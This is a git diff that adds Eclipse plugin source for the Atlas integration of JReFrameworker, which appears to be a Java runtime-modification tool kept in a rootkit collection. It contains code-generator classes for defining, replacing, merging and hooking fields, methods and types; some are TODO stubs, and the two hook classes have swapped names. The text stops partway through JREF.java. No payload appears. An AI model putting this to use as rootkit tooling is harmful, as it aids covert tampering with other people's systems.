diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerator.java
new file mode 100644
index 0000000..b8736e2
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerator.java
@@ -0,0 +1,142 @@
+package com.jreframeworker.atlas.codegen;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.ensoftcorp.atlas.core.script.CommonQueries;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public abstract class CodeGenerator {
+
+ private static String SUPPORTS_NOTHING = "SUPPORTS_NOTHING";
+ private static String SUPPORTS_EVERYTHING = "SUPPORTS_EVERYTHING";
+
+ protected static String[] EVERYTHING = { SUPPORTS_EVERYTHING };
+ protected static String[] NOTHING = { SUPPORTS_NOTHING };
+
+ /**
+ * Returns the name of the code generator
+ * @return
+ */
+ public abstract String getName();
+
+ /**
+ * Returns the code generator category
+ * @return
+ */
+ public abstract String getCategory();
+
+ /**
+ * Returns a description of the code generator
+ * @return
+ */
+ public abstract String getDescription();
+
+ /**
+ * The set of supported node tags that this filter can operate on
+ * @return
+ */
+ protected abstract String[] getSupportedNodeTags();
+
+ /**
+ * The set of supported edge tags that this filter can operate on
+ * @return
+ */
+ protected abstract String[] getSupportedEdgeTags();
+
+ /**
+ * Generates code for the given input
+ * Returns the set of generate source code files
+ * @param input
+ */
+ public abstract Set generateCode(JReFrameworkerProject jrefProject, Q input);
+
+ /**
+ * Returns true if the input contains supported edges or nodes
+ * @param input
+ * @return
+ */
+ public boolean isApplicableTo(Q input){
+ return !CommonQueries.isEmpty(getSupportedInput(input));
+ }
+
+ /**
+ * Returns the supported edges and nodes
+ * @param input
+ * @return
+ */
+ public Q getSupportedInput(Q input){
+ String[] supportedEdgeTags = getSupportedEdgeTags();
+ ArrayList edgeTagsToKeep = new ArrayList();
+ if(supportedEdgeTags != null){
+ for(String tag : supportedEdgeTags){
+ if(tag.equals(SUPPORTS_EVERYTHING)){
+ edgeTagsToKeep.clear();
+ break;
+ } else if(tag.equals(SUPPORTS_NOTHING)){
+ input = input.retainNodes();
+ } else {
+ edgeTagsToKeep.add(tag);
+ }
+ }
+ if(!edgeTagsToKeep.isEmpty()){
+ String[] tags = new String[edgeTagsToKeep.size()];
+ edgeTagsToKeep.toArray(tags);
+ Q edgesWithTags = input.edgesTaggedWithAny(tags);
+ Q edgesWithoutTags = input.difference(edgesWithTags);
+ input = input.difference(edgesWithoutTags);
+ }
+ }
+
+ String[] supportedNodeTags = getSupportedNodeTags();
+ ArrayList nodeTagsToKeep = new ArrayList();
+ if(supportedNodeTags != null){
+ for(String tag : supportedNodeTags){
+ if(tag.equals(SUPPORTS_EVERYTHING)){
+ nodeTagsToKeep.clear();
+ break;
+ } else if(tag.equals(SUPPORTS_NOTHING)){
+ input = input.retainEdges();
+ } else {
+ nodeTagsToKeep.add(tag);
+ }
+ }
+ if(!nodeTagsToKeep.isEmpty()){
+ String[] tags = new String[nodeTagsToKeep.size()];
+ nodeTagsToKeep.toArray(tags);
+ Q nodesWithTags = input.nodesTaggedWithAny(tags);
+ Q nodesWithoutTags = input.difference(nodesWithTags);
+ input = input.difference(nodesWithoutTags);
+ }
+ }
+
+ return input;
+ }
+
+ @Override
+ public int hashCode() {
+ final int prime = 31;
+ int result = 1;
+ result = prime * result + ((getName() == null) ? 0 : getName().hashCode());
+ return result;
+ }
+
+ @Override
+ public boolean equals(Object obj) {
+ if (this == obj)
+ return true;
+ if (obj == null)
+ return false;
+ if (getClass() != obj.getClass())
+ return false;
+ CodeGenerator other = (CodeGenerator) obj;
+ if (getName() == null) {
+ if (other.getName() != null)
+ return false;
+ } else if (!getName().equals(other.getName()))
+ return false;
+ return true;
+ }
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerators.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerators.java
new file mode 100644
index 0000000..cb3a817
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerators.java
@@ -0,0 +1,121 @@
+package com.jreframeworker.atlas.codegen;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+import org.eclipse.core.runtime.CoreException;
+import org.eclipse.core.runtime.IConfigurationElement;
+import org.eclipse.core.runtime.IExtensionRegistry;
+import org.eclipse.core.runtime.Platform;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.atlas.Activator;
+import com.jreframeworker.atlas.log.Log;
+
+public class CodeGenerators {
+
+ private static Set ALL_CODE_GENERATORS = Collections.synchronizedSet(new HashSet());
+ private static Map> CATEGORIZED_CODE_GENERATORS = Collections.synchronizedMap(new HashMap>());
+
+ /**
+ * Returns a copy of the currently registered code generators
+ *
+ * @return
+ */
+ public static Set getRegisteredCodeGenerators() {
+ HashSet codeGenerators = new HashSet();
+ for (CodeGenerator codeGenerator : ALL_CODE_GENERATORS) {
+ codeGenerators.add(codeGenerator);
+ }
+ return codeGenerators;
+ }
+
+ /**
+ * Returns the registered code generator categories
+ * @return
+ */
+ public static Set getRegisteredCodeGeneratorCategories() {
+ Set categories = new HashSet();
+ for(CodeGenerator codeGenerator : getRegisteredCodeGenerators()){
+ categories.add(codeGenerator.getCategory());
+ }
+ return categories;
+ }
+
+ /**
+ * Returns the registered code generators for a given category
+ * @param category
+ * @return
+ */
+ public static Set getCodeGeneratorsForCategory(String category) {
+ Set codeGenerators = CATEGORIZED_CODE_GENERATORS.get(category);
+ if(codeGenerators != null){
+ return new HashSet(codeGenerators);
+ } else {
+ return new HashSet();
+ }
+ }
+
+ public static Set getApplicableCodeGenerators(Q input) {
+ Set applicableCodeGenerators = new HashSet();
+ // find the applicable code generators
+ for(CodeGenerator codeGenerator : CodeGenerators.getRegisteredCodeGenerators()){
+ if(codeGenerator.isApplicableTo(input)){
+ applicableCodeGenerators.add(codeGenerator);
+ }
+ }
+ return applicableCodeGenerators;
+ }
+
+ /**
+ * Registers the contributed plugin code generator definitions
+ */
+ public static void loadCodeGeneratorContributions() {
+ IExtensionRegistry registry = Platform.getExtensionRegistry();
+ IConfigurationElement[] config = registry.getConfigurationElementsFor(Activator.PLUGIN_CODE_GENERATOR_EXTENSION_ID);
+ try {
+ for (IConfigurationElement element : config) {
+ final Object o = element.createExecutableExtension("class");
+ if (o instanceof CodeGenerator) {
+ CodeGenerator codeGenerator = (CodeGenerator) o;
+ registerCodeGenerator(codeGenerator);
+ }
+ }
+ } catch (CoreException e) {
+ Log.error("Error loading code generators.", e);
+ }
+ }
+
+ /**
+ * Registers a new codeGenerator
+ *
+ * @param codeGenerator
+ */
+ private static synchronized void registerCodeGenerator(CodeGenerator codeGenerator) {
+ ALL_CODE_GENERATORS.add(codeGenerator);
+ if(CATEGORIZED_CODE_GENERATORS.containsKey(codeGenerator.getCategory())){
+ CATEGORIZED_CODE_GENERATORS.get(codeGenerator.getCategory()).add(codeGenerator);
+ } else {
+ Set codeGenerators = new HashSet();
+ codeGenerators.add(codeGenerator);
+ CATEGORIZED_CODE_GENERATORS.put(codeGenerator.getCategory(), codeGenerators);
+ }
+ }
+
+ /**
+ * Unregisters a codeGenerator
+ *
+ * @param codeGenerator
+ */
+ @SuppressWarnings("unused")
+ private static synchronized void unregisterCodeGenerator(CodeGenerator codeGenerator) {
+ ALL_CODE_GENERATORS.remove(codeGenerator);
+ if(CATEGORIZED_CODE_GENERATORS.containsKey(codeGenerator.getCategory())){
+ CATEGORIZED_CODE_GENERATORS.get(codeGenerator.getCategory()).remove(codeGenerator);
+ }
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/DefineField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/DefineField.java
new file mode 100644
index 0000000..f12a435
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/DefineField.java
@@ -0,0 +1,37 @@
+package com.jreframeworker.atlas.codegen.generators.field;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.ensoftcorp.atlas.core.xcsg.XCSG;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class DefineField extends FieldGenerator {
+
+ @Override
+ public String getName() {
+ return "Define";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Defines a new field.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+
+ // TODO: finish implementation
+
+ return atlasProject.defineFields(input);
+ }
+
+ @Override
+ protected String[] getSupportedNodeTags() {
+ return new String[]{ XCSG.Java.Class };
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/FieldGenerator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/FieldGenerator.java
new file mode 100644
index 0000000..2e5701d
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/FieldGenerator.java
@@ -0,0 +1,23 @@
+package com.jreframeworker.atlas.codegen.generators.field;
+
+import com.ensoftcorp.atlas.core.xcsg.XCSG;
+import com.jreframeworker.atlas.codegen.CodeGenerator;
+
+public abstract class FieldGenerator extends CodeGenerator {
+
+ @Override
+ public String getCategory() {
+ return "Field";
+ }
+
+ @Override
+ protected String[] getSupportedNodeTags() {
+ return new String[]{ XCSG.ClassVariable, XCSG.InstanceVariable };
+ }
+
+ @Override
+ protected String[] getSupportedEdgeTags() {
+ return NOTHING;
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/PurgeField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/PurgeField.java
new file mode 100644
index 0000000..d3d8079
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/PurgeField.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.field;
+
+import java.io.File;
+import java.util.HashSet;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class PurgeField extends FieldGenerator {
+
+ @Override
+ public String getName() {
+ return "Purge";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Removes an existing field.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ // TODO: implement
+ return new HashSet();
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/ReplaceField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/ReplaceField.java
new file mode 100644
index 0000000..e799970
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/ReplaceField.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.field;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class ReplaceField extends FieldGenerator {
+
+ @Override
+ public String getName() {
+ return "Replace";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Replaces an existing field.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+ return atlasProject.replaceFields(input);
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/DefineMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/DefineMethod.java
new file mode 100644
index 0000000..ff7fe20
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/DefineMethod.java
@@ -0,0 +1,34 @@
+package com.jreframeworker.atlas.codegen.generators.method;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.ensoftcorp.atlas.core.xcsg.XCSG;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class DefineMethod extends MethodGenerator {
+
+ @Override
+ public String getName() {
+ return "Define";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Defines a new method.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+ return atlasProject.defineMethods(input);
+ }
+
+ @Override
+ protected String[] getSupportedNodeTags() {
+ return new String[]{ XCSG.Java.Class };
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookAfterMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookAfterMethod.java
new file mode 100644
index 0000000..d880911
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookAfterMethod.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.method;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class HookAfterMethod extends MethodGenerator {
+
+ @Override
+ public String getName() {
+ return "Hook Before";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Inserts functionality before a method invocation.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+ return atlasProject.addPreExecutionMethodHooks(input);
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookBeforeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookBeforeMethod.java
new file mode 100644
index 0000000..fe3825d
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookBeforeMethod.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.method;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class HookBeforeMethod extends MethodGenerator {
+
+ @Override
+ public String getName() {
+ return "Hook After";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Inserts functionality after a method invocation.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+ return atlasProject.addPostExecutionMethodHooks(input);
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MergeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MergeMethod.java
new file mode 100644
index 0000000..54e9250
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MergeMethod.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.method;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class MergeMethod extends MethodGenerator {
+
+ @Override
+ public String getName() {
+ return "Merge";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Merges functionality into an existing method.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+ return atlasProject.mergeMethods(input);
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MethodGenerator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MethodGenerator.java
new file mode 100644
index 0000000..6c5a00b
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MethodGenerator.java
@@ -0,0 +1,23 @@
+package com.jreframeworker.atlas.codegen.generators.method;
+
+import com.ensoftcorp.atlas.core.xcsg.XCSG;
+import com.jreframeworker.atlas.codegen.CodeGenerator;
+
+public abstract class MethodGenerator extends CodeGenerator {
+
+ @Override
+ public String getCategory() {
+ return "Method";
+ }
+
+ @Override
+ protected String[] getSupportedNodeTags() {
+ return new String[]{ XCSG.Method };
+ }
+
+ @Override
+ protected String[] getSupportedEdgeTags() {
+ return NOTHING;
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/PurgeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/PurgeMethod.java
new file mode 100644
index 0000000..38d312e
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/PurgeMethod.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.method;
+
+import java.io.File;
+import java.util.HashSet;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class PurgeMethod extends MethodGenerator {
+
+ @Override
+ public String getName() {
+ return "Purge";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Removes an existing method.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ // TODO: implement
+ return new HashSet();
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/ReplaceMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/ReplaceMethod.java
new file mode 100644
index 0000000..ce5f5ad
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/ReplaceMethod.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.method;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class ReplaceMethod extends MethodGenerator {
+
+ @Override
+ public String getName() {
+ return "Replace";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Replaces an existing method.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+ return atlasProject.replaceMethods(input);
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/DefineType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/DefineType.java
new file mode 100644
index 0000000..f0c33e6
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/DefineType.java
@@ -0,0 +1,33 @@
+package com.jreframeworker.atlas.codegen.generators.type;
+
+import java.io.File;
+import java.util.HashSet;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class DefineType extends TypeGenerator {
+
+ @Override
+ public String getName() {
+ return "Define";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Defines a new type.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ // TODO: implement
+ return new HashSet();
+ }
+
+ @Override
+ protected String[] getSupportedNodeTags() {
+ return EVERYTHING;
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/MergeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/MergeType.java
new file mode 100644
index 0000000..255ac01
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/MergeType.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.type;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class MergeType extends TypeGenerator {
+
+ @Override
+ public String getName() {
+ return "Merge";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Merges functionality into an existing type.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+ return atlasProject.mergeTypes(input);
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/PurgeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/PurgeType.java
new file mode 100644
index 0000000..f3faa2c
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/PurgeType.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.type;
+
+import java.io.File;
+import java.util.HashSet;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class PurgeType extends TypeGenerator {
+
+ @Override
+ public String getName() {
+ return "Purge";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Removes an existing type.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ // TODO: implement
+ return new HashSet();
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/ReplaceType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/ReplaceType.java
new file mode 100644
index 0000000..4beafa4
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/ReplaceType.java
@@ -0,0 +1,28 @@
+package com.jreframeworker.atlas.codegen.generators.type;
+
+import java.io.File;
+import java.util.Set;
+
+import com.ensoftcorp.atlas.core.query.Q;
+import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class ReplaceType extends TypeGenerator {
+
+ @Override
+ public String getName() {
+ return "Replace";
+ }
+
+ @Override
+ public String getDescription() {
+ return "Replaces an existing type.";
+ }
+
+ @Override
+ public Set generateCode(JReFrameworkerProject jrefProject, Q input) {
+ JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject);
+ return atlasProject.replaceTypes(input);
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/TypeGenerator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/TypeGenerator.java
new file mode 100644
index 0000000..5bfc00c
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/TypeGenerator.java
@@ -0,0 +1,23 @@
+package com.jreframeworker.atlas.codegen.generators.type;
+
+import com.ensoftcorp.atlas.core.xcsg.XCSG;
+import com.jreframeworker.atlas.codegen.CodeGenerator;
+
+public abstract class TypeGenerator extends CodeGenerator {
+
+ @Override
+ public String getCategory() {
+ return "Type";
+ }
+
+ @Override
+ protected String[] getSupportedNodeTags() {
+ return new String[]{ XCSG.Java.Class };
+ }
+
+ @Override
+ protected String[] getSupportedEdgeTags() {
+ return NOTHING;
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/log/Log.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/log/Log.java
new file mode 100644
index 0000000..dbd0939
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/log/Log.java
@@ -0,0 +1,55 @@
+package com.jreframeworker.atlas.log;
+
+import org.eclipse.core.runtime.ILog;
+import org.eclipse.core.runtime.IStatus;
+import org.eclipse.core.runtime.Platform;
+import org.eclipse.core.runtime.Status;
+import org.osgi.framework.Bundle;
+import org.osgi.framework.BundleContext;
+
+import com.jreframeworker.atlas.Activator;
+
+/**
+ * Centralized logging for Eclipse plugins.
+ */
+public class Log {
+ private static ILog log;
+
+ static {
+ BundleContext context = Activator.getDefault().getBundle().getBundleContext();
+ if (context != null) {
+ Bundle bundle = context.getBundle();
+ log = Platform.getLog(bundle);
+ }
+ }
+
+ public static void error(String message, Throwable e) {
+ log(Status.ERROR, message, e);
+ }
+
+ public static void warning(String message) {
+ warning(message, null);
+ }
+
+ public static void warning(String message, Throwable e) {
+ log(Status.WARNING, message, e);
+ }
+
+ public static void info(String message) {
+ info(message, null);
+ }
+
+ public static void info(String message, Throwable e) {
+ log(Status.INFO, message, e);
+ }
+
+ public static void log(int severity, String string, Throwable e) {
+ if(log == null){
+ System.err.println(string + "\n" + e);
+ } else {
+ IStatus status = new Status(severity, Activator.PLUGIN_ID, string, e);
+ log.log(status);
+ }
+ }
+}
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JREF.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JREF.java
new file mode 100644
index 0000000..74c3541
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JREF.java
@@ -0,0 +1,82 @@
+package com.jreframeworker.atlas.projects;
+
+import java.io.IOException;
+import java.net.URISyntaxException;
+
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.TransformerException;
+
+import org.eclipse.core.resources.IProject;
+import org.eclipse.core.resources.ResourcesPlugin;
+import org.eclipse.core.runtime.CoreException;
+import org.eclipse.core.runtime.IStatus;
+import org.eclipse.core.runtime.NullProgressMonitor;
+import org.eclipse.jdt.core.JavaCore;
+import org.xml.sax.SAXException;
+
+import com.jreframeworker.builder.JReFrameworkerNature;
+import com.jreframeworker.core.BuildFile;
+import com.jreframeworker.core.JReFrameworker;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class JREF {
+
+ /**
+ * Creates or opens a JReFrameworker project
+ * @param projectName
+ * @return
+ * @throws CoreException
+ * @throws IOException
+ * @throws URISyntaxException
+ * @throws TransformerException
+ * @throws ParserConfigurationException
+ * @throws SAXException
+ */
